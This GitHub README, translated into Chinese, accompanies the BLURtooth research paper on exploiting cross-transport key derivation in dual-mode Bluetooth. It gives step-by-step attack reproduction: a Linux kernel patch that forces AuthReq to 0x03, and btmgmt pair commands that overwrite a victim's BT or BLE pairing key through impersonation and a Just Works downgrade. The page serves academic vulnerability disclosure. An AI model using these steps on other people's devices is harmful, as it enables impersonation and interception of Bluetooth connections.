francozappa/blur
GitHub: francozappa/blur
针对蓝牙跨传输密钥派生机制的安全研究项目,展示了如何利用双模蓝牙设备的密钥同步漏洞覆写配对密钥。
Stars: 19 | Forks: 5
# README
本仓库关于在 AsiaCCS'22 上发表的 BLUR 攻击,论文题为:**BLURtooth: Exploiting
Cross-Transport Key Derivation in Bluetooth Classic and Bluetooth Low Energy.**
实用链接:
[pdf](https://nebelwelt.net/files/22AsiaCCS.pdf),
[视频](https://www.youtube.com/watch?v=FzFQD3XTLlA),
[幻灯片](https://francozappa.github.io/publication/2022/blur/slides.pdf),
[网站](https://hexhive.epfl.ch/BLURtooth/).
BibTex 条目:
```
@inproceedings{antonioli22blur,
author={Antonioli, Daniele and Tippenhauer, Nils Ole and Rasmussen, Kasper
and Payer, Mathias},
title={{BLURtooth: Exploiting Cross-Transport Key Derivation in
Bluetooth Classic and Bluetooth Low Energy}},
booktitle={Proceedings of the Asia conference on computer and
communications security (ASIACCS)},
month={May},
year={2022}
}
```
BLUR 攻击已被分配
[CVE-2020-15802](https://nvd.nist.gov/vuln/detail/CVE-2020-15802) 和
[CVE-2022-20361](https://nvd.nist.gov/vuln/detail/CVE-2022-20361)。
## 初始化
在 README 的剩余部分,我们将 *Bluetooth Classic (又名 BR/EDR)* 表示为 *BT*
*Bluetooth Low Energy* 表示为 *BLE*,将 *Cross-Transport Key Derivation* 表示为 *CTKD*。
我们还假设攻击设备和受害者支持 BT、BLE 和 CTKD。
这意味着设备支持 Bluetooth 4.2+ 和 BT/BLE Secure Connections。
执行攻击最简单的方法是使用一台设备同时作为受害者
和攻击设备。例如,我们建议使用 Linux 笔记本电脑作为
受害者/攻击设备,而任何其他设备作为另一个受害者。
我们正在使用运行 [bluez](https://github.com/bluez/bluez)
和 [bluez tools](https://github.com/bluez/bluez/tree/master/tools) 的 Linux 机器。我们
依赖 `btmgmt` 工具,浏览其[源代码](https://github.com/bluez/bluez/blob/master/tools/btmgmt.c)可能会有所帮助。特别是我们使用它的 `pair` 子命令,因为除其他功能外,它允许通过 BT/BLE 发送任意
配对请求,同时声明任意输入-输出
能力。
```
Usage: pair [-c cap] [-t type]
```
如果你想复现我们论文中展示的确切攻击场景,你必须做一些额外的工作。
具体来说,你需要复现 [BIAS attack](https://github.com/francozappa/bias) 中展示的设置。一旦你的设置准备就绪
你应该能够使用开发板作为你的 BT/BLE Controller,
以及 Linux 笔记本电脑作为 Host。此外,你应该能够从 Host 嗅探链
层 packets(例如,BT LMP 流量),并使用
[internalblue](https://github.com/seemoo-lab/internalblue) 在运行时动态修补
开发板的固件。
## 执行 BLUR 攻击
### 硬编码 NoInputNoOutput 能力(不取消设置 MitM 标志)
此步骤是可选的,需要修补你自己的 Linux 内核。
当使用 `btmgmt -c 3` 时,bluez 会自动取消设置 MitM 保护标志,
例如,它将 AuthReq 字节设置为 `0x02` 而不是 `0x03`。
然而,BLUR 攻击不需要取消设置此标志,但只需要
在远程设备支持输入-输出能力时声明
`NoInputNoOutput` 能力。这样做会将配对过程
降级为 Just Works,*而无需* 取消设置 MitM 标志。
实现此设置需要对 Linux 内核进行最小限度的修改。在
特别是在 `/net/bluetooth/hci_event.c` 中,我们将:
```
cp.authentication = conn->auth_type;
```
改为:
```
cp.authentication = 0x03;
```
这样做,我们将 AuthReq 标志硬编码为 `0x03`,无论我们声明
什么输入-输出能力。
### 合法配对
像往常一样配对受害者设备。例如,如果你针对的是
智能手机,请将其与你的笔记本电脑配对(同时作为受害者和攻击
设备)。作为配对的一部分,可能需要一些用户交互(例如,
Numeric Comparison)。
### 打开 btmgmt shell
* 记下受害者 Bluetooth 地址,表示为 `REMOTE-BTADD`
* 打开终端
* 运行 `hciconfig` 并记下你的 hci 索引,例如 `0`
* 运行 `sudo btmgmt -i 0`
* 你应该看到一个包含 `[hci0] #` 的蓝色终端提示符
### 通过 BLE 进行 Central Impersonation 攻击,[覆]写 BT 配对密钥
这里我假设受害者使用的是公共 BLE 地址。如果它使用
随机地址,请将 `-t` 选项更改为 `2`
从 btmgmt CLI 运行:
```
pair -t 1 REMOTE-BTADD
```
如果你还需要将关联降级到 Just Works,请运行:
```
pair -c 3 -t 1 REMOTE-BTADD
```
`-c` 标志设置攻击者的输入-输出能力,值为
`0x3` 映射到 `NoInputNoOutput`,而笔记本电脑/智能手机的默认值
是 `0x1`,映射到 `Display Yes/No`。
### 通过 BT 进行 Peripheral Impersonation 攻击,[覆]写 BLE 配对密钥
在这种情况下,即使我们模拟 BLE peripheral,我们也作为
Central 通过 BT 进行配对。
从 btmgmt CLI 运行:
```
pair -t 0 REMOTE-BTADD
```
如果你还需要将关联降级到 Just Works,请运行:
```
pair -c 3 -t 0 REMOTE-BTADD
```
### 非预期会话攻击
在模拟当前受害者未知(即未配对)的设备时,重复上述攻击。
## 问答 (Bluetooth, CTKD, Linux, bluez, Wireshark)
### 如何将我的 BT/BLE 设备设置为可发现/可连接/可配对?
从 `bluetoothctl` CLI 你可以将
`discoverable` 设置为 `on` 或 `off` 以及 `pairable`。从 `btmgmt` CLI 你还可以
设置 `connectable` 标志。
### 如何控制我的设备可被发现的时间长短?
从 `bluetoothctl`,
你可以使用 `discoverable-timeout` 控制可发现性超时,
例如,如果你将其设置为 `0`,则设备始终可被发现。
### 如何检查我的 BT/BLE 设备是否支持配对或是否可配对?
对于 BT,当作为 Central 或
Peripheral 与远程设备配对时,你将收到以下 LMP packet:*LMP not accepted ext* (操作码: `0x02`) 并带有配对
不允许 (错误代码: `0x18`)
对于 BLE,当作为 Central 或
Peripheral 与远程设备配对时,你将收到以下 SMP packet:*SMP Pairing Failed Command*
(操作码 `0x05`) 并带有 *Pairing Not Supported* (原因 `0x05`)。
### 如何检查我的 BT/BLE 设备是否支持 Secure Connections?
对于 BT,在与远程设备配对时,查看 LMP 功能包中的 Host 和 Controller 的 Secure Connections 支持,例如,使用
以下 Wireshark 显示过滤器:`btbrlmp.efeat.scc or btbrlmp.efeat.sch`。
对于 BLE,在与远程设备配对时,在 SMP Pairing Request 或
Response 中检查包含 Secure Connection 标志的 AuthReq 字节,例如,
使用以下 Wireshark 显示过滤器:`btsmp.sc_flag == 1`。
### 如何检查我的 BT/BLE 设备是否支持 CTKD?
对于 BT,在与远程设备配对时,BLE SMP 流量通过
L2CAP 隧道传输。因此,通过使用 `btl2cap.payload` Wireshark 过滤器,你应该看到一个
来自 Central 到 Peripheral 的 packet,包含以
`0x01` (SMP Pairing Request) 开头的有效载荷,以及另一个方向上的
有效载荷以 `0x02` (SMP Pairing Response) 开头的 packet。然后你还应该看到
其他编码 SMP 密钥分发阶段的原始 L2CAP packets。
对于 BLE,在与远程设备配对时,在 SMP Pairing Request 或
Response 中检查 Central 和 Peripheral 是否都愿意在 SMP 密钥分发期间发送
和接收链路密钥,例如,使用以下 Wireshark
过滤器 `btsmp.key_dist_linkkey or btsmp.key_dist_linkkey`。
标签:AsiaCCS, BLE, Bluetooth Classic, BlueZ, BLUR攻击, CTKD, CVE-2020-15802, CVE-2022-20361, meg, PoC, 中间人攻击, 信息安全, 协议漏洞, 双模蓝牙, 密钥协商, 暴力破解, 网络安全, 蓝牙安全, 蓝牙降级攻击, 跨传输密钥派生, 隐私保护